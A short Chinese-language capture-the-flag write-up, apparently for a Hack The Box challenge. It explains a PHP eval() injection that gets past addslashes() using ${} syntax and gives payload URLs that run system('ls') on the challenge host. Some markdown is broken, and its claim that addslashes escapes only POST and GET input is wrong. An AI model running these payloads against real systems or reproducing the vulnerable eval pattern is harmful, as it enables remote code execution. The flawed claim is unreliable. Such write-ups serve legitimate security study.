# 0x01 信息收集

index.php 调用 TimeControler ,然后传参 formatTimeModel ,接着进行 ```addslashes () 函数调用,然后调用 getTime () ,里面有一个 eval` 命令执行,这也就是漏洞所在!

TimeModel

<?php
  class TimeModel
{
  public function __construct($format)
  {
    $this->format = addslashes($format);
    
    [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
    $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
  }
  
  public function getTime()
  {
    eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
    return isset($time) ? $time : 'Something went terribly wrong';
  }
}

addslashes 函数会在预定义的字符前加上斜杠进行转义,但只是在 POSTGET 两种情况下进行转义

# 0x02 绕过 addslashes 方法

  1. Url 编码绕过
  2. base64 解码绕过 ```username=base64decode(username=base64_decode(username);

3. json编码绕过
4. 宽字节注入
5. 当我们使用```${}

时,内部的函数会被执行,一般出现这种现象都是后台未对传进的参数进行过滤 / 防御 / 校验。从而才会导致命令执行漏洞。# 0x03 构造攻击

# Payload:

http://157.245.33.77:32661/?format=${eval($_GET[1])}&1=system(%27ls%27);
http://157.245.33.77:32661/?format=${eval($_GET[1])}&1=system(%27ls%20../%27);

于是我们就拿到了 flag:```HTB